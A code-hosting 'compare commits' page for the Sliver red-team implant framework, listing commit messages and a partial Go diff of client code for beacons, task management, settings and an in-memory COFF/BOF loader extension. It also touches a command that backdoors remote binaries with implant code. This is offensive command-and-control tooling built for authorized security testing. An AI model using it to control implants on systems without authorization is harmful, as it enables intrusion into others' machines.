Compare commits

...
116 Commits
Author SHA1 Message Date
a3sroot 43548ad4b2 Merged pr #509 2021-09-11 19:54:29 -05:00
moloch-- 09358666a1 Fix null http session bug and nil ptr in sessions cmd 2021-09-11 19:14:27 -05:00
moloch-- 213ad330c5 Fixed variable shadowing issue when executing multiple tasks 2021-09-11 15:19:25 -05:00
moloch-- f7d7bdc677 Implemented async versions of all fs commands 2021-09-11 13:23:29 -05:00
moloch-- c292ac4b28 The ls command works round trip 2021-09-11 10:43:59 -05:00
moloch-- f576c138c9 Added task counts and pb descriptions 2021-09-11 09:16:47 -05:00
moloch-- 216054e90c Implemented task rpc's 2021-09-10 18:48:30 -05:00
moloch-- 62e311fb6f Beacons can return results 2021-09-10 16:25:31 -05:00
moloch-- 90de32b6f2 Added additional settings 2021-09-10 13:27:13 -05:00
moloch-- b8b20711fe Implemented async task creation 2021-09-10 09:37:38 -05:00
moloch-- f87582462d Re-implemented UseCmd args 2021-09-10 07:58:28 -05:00
moloch-- 87fba59c57 Implemented client settings and customizable tables 2021-09-09 18:22:32 -05:00
moloch-- ab58a67df4 converted beacons cmd to table writer 2021-09-09 17:42:57 -05:00
moloch-- 424db7bdca Added command/settings and porting tables to use lib 2021-09-09 16:29:28 -05:00
moloch-- cec1451dec Do not export active session 2021-09-09 11:19:33 -05:00
moloch-- e79e3daf7d Updated use cmd 2021-09-07 18:11:52 -05:00
moloch-- 1a632f48ff Initial refactor of client code to support beacons and sessions 2021-09-07 17:43:35 -05:00
moloch-- 83adb36bbd Beacon rm tweaks 2021-09-06 20:43:06 -05:00
moloch-- 686452a65e Implemented rm beacon cmd 2021-09-06 20:36:08 -05:00
moloch-- e436e9ca89 Outlined beacon tasks 2021-09-06 19:49:05 -05:00
moloch-- db29281233 Implemented beacons cmd 2021-09-06 19:01:16 -05:00
moloch-- 65cea9eeb2 Wired handler to db 2021-09-06 17:47:46 -05:00
moloch-- 06a44f980b Basic beacon compiles 2021-09-06 15:06:08 -05:00
moloch-- 952f22583e Improvements to handling of poll timeout value 2021-09-06 11:14:43 -05:00
moloch-- 5429c8d45a Fix http client desync issue 2021-09-06 10:06:19 -05:00
moloch-- 9e8bfb62d7 Improvements to time handling, configurable client poll timeout 2021-09-06 09:55:47 -05:00
moloch-- 45ef2a27a9 Merged burned/health columns 2021-09-05 16:16:12 -05:00
moloch-- 93a1492a05 Fix time, moved more to int64 2021-09-05 14:05:40 -05:00
moloch-- b554b49b42 All time fields are int64 2021-09-05 12:25:10 -05:00
moloch-- e7d8495cb0 Server compiles 2021-09-05 11:16:50 -05:00
moloch-- 2ebb2734bf Merge stage, wip on server-side beacon support 2021-09-05 09:52:32 -05:00
rkervella 515b927791 Set default AES key 2021-09-05 09:56:17 +02:00
rkervella 35489e974f Rename operator to prelude-operator 2021-09-05 09:47:02 +02:00
rkervella e2cf688044 Merge branch 'prelude-operator' into stage 2021-09-05 09:45:55 +02:00
moloch-- 79772297bc wip on deticated beacon mode 2021-09-04 19:00:11 -05:00
moloch-- 7d4de43559 wip on deticated beacon mode 2021-09-04 17:39:08 -05:00
moloch-- 7df290386e wip on deticated beacon mode 2021-09-04 16:50:14 -05:00
moloch-- fc5673b33e Added fallback host uuid method 2021-09-04 14:10:07 -05:00
moloch-- 31a53a4cba Fix named pipe / unit tests 2021-09-04 12:59:26 -05:00
moloch-- 8967bcf35d Remove duplicate GetSpecialHandlers() 2021-09-04 12:27:34 -05:00
moloch-- 6d4b28731e Refactoring implant transports, and handlers 2021-09-04 12:11:16 -05:00
moloch-- 235201f701 Refactoring implant transports 2021-09-04 09:34:45 -05:00
rkervella d1135d1d68 Add Prelude's Operator support 2021-09-04 12:31:34 +02:00
moloch-- a998a571f9 Various fixes to http c2 transport 2021-09-03 20:49:50 -05:00
moloch-- ce3cee731c Improved c2 unit tests 2021-09-03 17:55:20 -05:00
moloch-- 9e924efcb2 Fix unit tests for matcher funcs 2021-09-03 17:43:40 -05:00
moloch-- 23309233a8 Merged stage 2021-09-03 17:18:53 -05:00
moloch-- e107382d07 Improvements to http server 2021-09-03 10:02:01 -05:00
moloch-- 9ea9d1add8 Fixes to the http router and path generation 2021-09-02 09:20:50 -05:00
moloch-- bc5a622944 Improved unit tests 2021-09-02 08:14:09 -05:00
moloch-- c24a37edcd Renamed implant generation code 2021-09-01 20:56:23 -05:00
moloch-- 536171e8ac Fix paths for sliver .c and .h 2021-09-01 16:39:21 -05:00
moloch-- 4d17f0ed66 Moved pty to build constraints in shell pkg 2021-09-01 16:23:37 -05:00
moloch-- 1e5bf9a39c Fix version build constraints 2021-09-01 16:06:07 -05:00
moloch-- 18cb8d142d Fix version pkg 2021-09-01 15:56:54 -05:00
moloch-- b3467e0512 Fix shell pkg 2021-09-01 15:38:17 -05:00
moloch-- 8a1845baf8 Major refactor to implant render code 2021-09-01 14:50:52 -05:00
moloch-- 00a2faf137 Code cleanup, added max req length 2021-09-01 09:14:32 -05:00
moloch-- 6fb3835e14 Merged stage, fix unit tests 2021-08-31 08:38:02 -05:00
moloch-- f3144eb919 wip on server-side updates 2021-08-31 07:17:32 -05:00
moloch-- 83c5fad8eb Go mod vendor 2021-08-28 18:27:37 -05:00
moloch-- bfe2013eb5 Merged otp 2021-08-28 18:19:31 -05:00
moloch-- 0923de192c Updated with other branches 2021-08-28 18:17:32 -05:00
rkervella 3c07043531 Update COFFLoader version, add it back to go-assets.sh 2021-08-24 15:59:31 +02:00
rkervella b60e826a02 Merge branch 'master' into extensions 2021-08-23 11:11:21 +02:00
rkervella d337d4f13c Merge branch 'master' into stage 2021-08-23 09:42:24 +02:00
rkervella 75dd1b1a26 Add missing imports 2021-08-20 16:33:19 +02:00
rkervella 359746120a Add execute redirection to remote file 2021-08-20 16:13:59 +02:00
rkervella b08728765d Add missing import 2021-08-20 12:59:45 +02:00
rkervella 69d99e28fd Fix merge on go.mod 2021-08-20 12:44:45 +02:00
rkervella a811b53561 Fix merge 2021-08-20 12:43:12 +02:00
rkervella cbfae11876 Reflect changes to windows executeTokenHandler 2021-08-20 12:34:25 +02:00
rkervella b7a814f0c5 Rework execute stdout/stderr handling 2021-08-20 11:58:22 +02:00
rkervella 572e717634 Move DLL hijack to client protobuf side 2021-08-20 11:23:06 +02:00
rkervella 4bf7246b0a Merge branch 'master' into extensions 2021-08-20 11:13:29 +02:00
rkervella febf50e464 Add debug statements + handle some edge cases 2021-08-20 11:12:18 +02:00
rkervella a427f86c4e Merge branch 'master' into extensions 2021-08-19 00:04:25 +02:00
rkervella 4c2a309054 Document existing issues with Darwin extensions 2021-08-18 10:17:20 +02:00
rkervella 465eb8cfee Add comment about missing callback support 2021-08-18 09:54:09 +02:00
rkervella 55da1a5dde Update vendor 2021-08-18 09:32:31 +02:00
rkervella bf44f379ec Update vendor 2021-08-18 09:31:37 +02:00
rkervella e5430caf8d Add darwin support 2021-08-18 09:30:25 +02:00
rkervella 60c5c2ee89 Merge branch 'master' into extensions 2021-08-16 18:23:10 +02:00
rkervella 9cf607d155 Fix duplicate protobuf identifier 2021-08-16 17:29:18 +02:00
rkervella e3a6b237f1 Fix typo 2021-08-16 16:22:52 +02:00
rkervella 8b99a98d5e Merge branch 'master' into extensions 2021-08-04 14:14:46 +02:00
Ronan Kervella 09d94ab559 Merge pull request #491 from BishopFox/jd/extensions
Extensions
2021-08-04 09:13:17 +02:00
moloch-- 1420ebd447 Moved asset setup to client/console 2021-08-03 19:51:37 -07:00
rkervella 96a531f9d4 Merge branch 'master' into extensions 2021-08-03 12:33:55 +02:00
Ronan Kervella f3bdb5cadc Merge pull request #486 from BishopFox/hosts
Hosts
2021-08-02 09:04:31 +02:00
moloch-- fd3df6a3f3 Implemented ioc rm cmd 2021-07-31 11:42:23 -07:00
moloch-- 3c6b60bc3e Hosts IOC tracking support 2021-07-31 08:25:27 -07:00
moloch-- d42373e545 Added hosts iocs cmd 2021-07-29 19:41:32 -05:00
moloch-- 76e4f430d0 Merged extensions 2021-07-29 09:32:42 -05:00
moloch-- ab8d431c39 implemented hosts rm 2021-07-29 09:28:18 -05:00
moloch-- e4ad404822 Fix host uuid 2021-07-29 06:57:19 -05:00
rkervella 9e6a771a1a Merge branch 'master' into extensions 2021-07-29 11:40:54 +02:00
rkervella 69ebbcb728 Merge branch 'extensions' of bishopfox.github.com:BishopFox/sliver into extensions 2021-07-29 10:17:28 +02:00
rkervella 5c65da3567 Add loader and default manifest to client's assets 2021-07-29 10:16:25 +02:00
rkervella 1c67a11c29 Remove CLR DLL as we don't need it anymore 2021-07-29 08:34:27 +02:00
moloch-- 755bed951b Add ioc tracking 2021-07-28 23:37:49 -05:00
moloch-- 7ba4e5bec0 Sessions for hosts 2021-07-28 23:04:26 -05:00
moloch-- 5d8d49461c Outlined hosts db and cmd 2021-07-28 22:48:14 -05:00
Joe cadc717963 Merge pull request #484 from BishopFox/jd/extensions
Platform agnostic path manipulation in macros
2021-07-28 14:27:38 -05:00
moloch-- ce4a7c7dcc Platform agnostic path manipulation in macros 2021-07-28 14:06:22 -05:00
Ronan Kervella ab8ff6a06a Merge pull request #483 from BishopFox/jd/extensions
Platform agnostic path manipulation
2021-07-28 17:41:51 +02:00
moloch-- 3b93554df2 Platform agnostic path manipulation 2021-07-28 08:20:52 -05:00
rkervella b688b7b121 Only update session when necessary 2021-07-28 14:58:01 +02:00
rkervella 3ce603a3c7 Fix constructor call, add dynamic entrypoint resolution for BOFs 2021-07-28 11:48:17 +02:00
rkervella 3d9df17d43 Fix path 2021-07-27 15:49:35 +02:00
rkervella d53c646af0 Store extension dir in assets 2021-07-27 15:44:05 +02:00
rkervella 601c1eea64 Add support for init function 2021-07-27 15:27:31 +02:00
rkervella 12ee96451a Refactor BOF args parsing 2021-07-27 15:24:29 +02:00
rkervella cc304ba85a Update readme 2021-07-27 15:19:09 +02:00
rkervella a743a72500 vendor update 2021-07-27 15:14:26 +02:00
rkervella 6c75b08648 Extension rework 2021-07-27 15:14:13 +02:00
291 changed files with 24904 additions and 6691 deletions

No files matched your search

+1
View File
@@ -1,5 +1,6 @@
/.vscode/*
/.devcontainer
/.idea
/Dockerfile.*
/*.sdk.tar.xz
+9
View File
@@ -0,0 +1,9 @@
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
+104
View File
@@ -19,15 +19,30 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -42,3 +57,92 @@ func GetRootAppDir() string {
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func saveAssetVersion(appDir string) {
versionFilePath := path.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
}
// Setup - Extract or create local assets
func Setup(force bool, echo bool) {
appDir := GetRootAppDir()
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
+16
View File
@@ -0,0 +1,16 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
+73
View File
@@ -0,0 +1,73 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path/filepath"
)
const (
settingsFileName = "tui-settings.json"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
settings := defaultSettings()
err = json.Unmarshal(data, settings)
if err != nil {
return defaultSettings(), err
}
return settings, nil
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
}
}
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil {
settings = defaultSettings()
}
data, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
return err
}
+3 -3
View File
@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
@@ -93,11 +93,11 @@ func StartClientConsole() error {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %v", err)
fmt.Printf("Connection to server failed %s", err)
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+4
View File
@@ -0,0 +1,4 @@
Beacons
========
This package implements the beacons command, which can be used to list and interact with beacons.
+103
View File
@@ -0,0 +1,103 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
}
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
for _, beacon := range beacons {
next := time.Unix(beacon.NextCheckin, 0).Format(time.RFC1123)
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, next, console.Normal)
}
tw.AppendRow(table.Row{
strings.Split(beacon.ID, "-")[0],
beacon.Name,
fmt.Sprintf("%d / %d", beacon.TasksCountCompleted, beacon.TasksCount),
beacon.Transport,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
time.Unix(beacon.LastCheckin, 0).Format(time.RFC1123),
next,
})
}
con.Printf("%s\n", tw.Render())
}
+99
View File
@@ -0,0 +1,99 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
var (
// ErrNoBeacons - No sessions available
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
keys := []string{}
for beaconID := range beaconsMap {
keys = append(keys, beaconID)
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
beacon.ID,
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return beaconsMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+397 -35
View File
@@ -36,7 +36,9 @@ package command
import (
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -44,22 +46,28 @@ import (
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
"github.com/bishopfox/sliver/client/command/jobs"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/operators"
"github.com/bishopfox/sliver/client/command/pivots"
"github.com/bishopfox/sliver/client/command/portfwd"
operator "github.com/bishopfox/sliver/client/command/prelude-operator"
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/command/websites"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/console"
@@ -82,6 +90,14 @@ func BindCommands(con *console.SliverConsoleClient) {
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
}
// Attempt to load extensions from ~/.sliver-client/extensions/
exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
// Absorb error in case there's no extensions manifest
if err == nil {
for _, ext := range exts {
extensions.RegisterExtensionCommand(ext, con)
}
}
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
// [ Update ] --------------------------------------------------------------
@@ -279,9 +295,9 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Operators ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.PlayersStr,
Name: consts.OperatorsStr,
Help: "Manage operators",
LongHelp: help.GetHelpFor([]string{consts.PlayersStr}),
LongHelp: help.GetHelpFor([]string{consts.OperatorsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -370,25 +386,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("session", "session ID or name", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.UseCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.KillStr,
Help: "Kill a session",
@@ -407,6 +404,145 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
Name: consts.TasksStr,
Help: "Beacon task management",
LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
useCmd := &grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session or beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon or session ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
useCmd.AddCommand(&grumble.Command{
Name: consts.SessionsStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseSessionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
useCmd.AddCommand(&grumble.Command{
Name: consts.BeaconsStr,
Help: "Switch the active beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseBeaconCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(useCmd)
// [ Settings ] --------------------------------------------------------------
settingsCmd := &grumble.Command{
Name: consts.SettingsStr,
Help: "Manage client settings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
settingsCmd.AddCommand(&grumble.Command{
Name: consts.SaveStr,
Help: "Save the current settings to disk",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSaveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: consts.TablesStr,
Help: "Modify tables setting (style)",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsTablesCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "beacon-autoresults",
Help: "Automatically display beacon task results when completed",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsBeaconsAutoResultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "autoadult",
Help: "Automatically accept OPSEC warnings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAutoAdultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -539,6 +675,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("s", "silent", false, "don't print the command output")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
f.String("e", "stderr", "", "remote path to redirect STDERR to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -778,13 +917,13 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
